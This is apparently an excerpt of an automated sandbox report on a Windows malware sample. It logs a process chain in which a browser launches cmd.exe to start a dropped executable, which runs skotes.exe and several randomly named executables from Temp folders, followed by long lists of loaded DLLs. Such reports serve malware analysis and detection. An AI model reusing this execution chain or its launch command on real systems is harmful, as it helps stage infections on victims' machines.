Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6852 --field-trial-handle=2016,i,10102246247957129533,15771102176876575942,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7012 --field-trial-handle=2016,i,10102246247957129533,15771102176876575942,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsEGHJKFHJJJ.exe"	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=5936 --field-trial-handle=2016,i,10102246247957129533,15771102176876575942,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=4508 --field-trial-handle=2016,i,10102246247957129533,15771102176876575942,262144 /prefetch:3	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsEGHJKFHJJJ.exe "C:\Users\user\DocumentsEGHJKFHJJJ.exe"
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe "C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe "C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe "C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	Section loaded: winmm.dll
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	Section loaded: wininet.dll
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	Section loaded: sspicli.dll
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	Section loaded: mstask.dll
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	Section loaded: wldp.dll
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	Section loaded: mpr.dll
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	Section loaded: dui70.dll
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	Section loaded: duser.dll
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	Section loaded: chartv.dll
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	Section loaded: oleacc.dll
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	Section loaded: winsta.dll
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	Section loaded: textshaping.dll
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	Section loaded: propsys.dll
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	Section loaded: iertutil.dll
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	Section loaded: profapi.dll
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	Section loaded: edputil.dll
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	Section loaded: urlmon.dll
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	Section loaded: srvcli.dll
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	Section loaded: netutils.dll
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	Section loaded: appresolver.dll
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	Section loaded: slc.dll
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	Section loaded: userenv.dll
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	Section loaded: sppc.dll
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Section loaded: wldp.dll
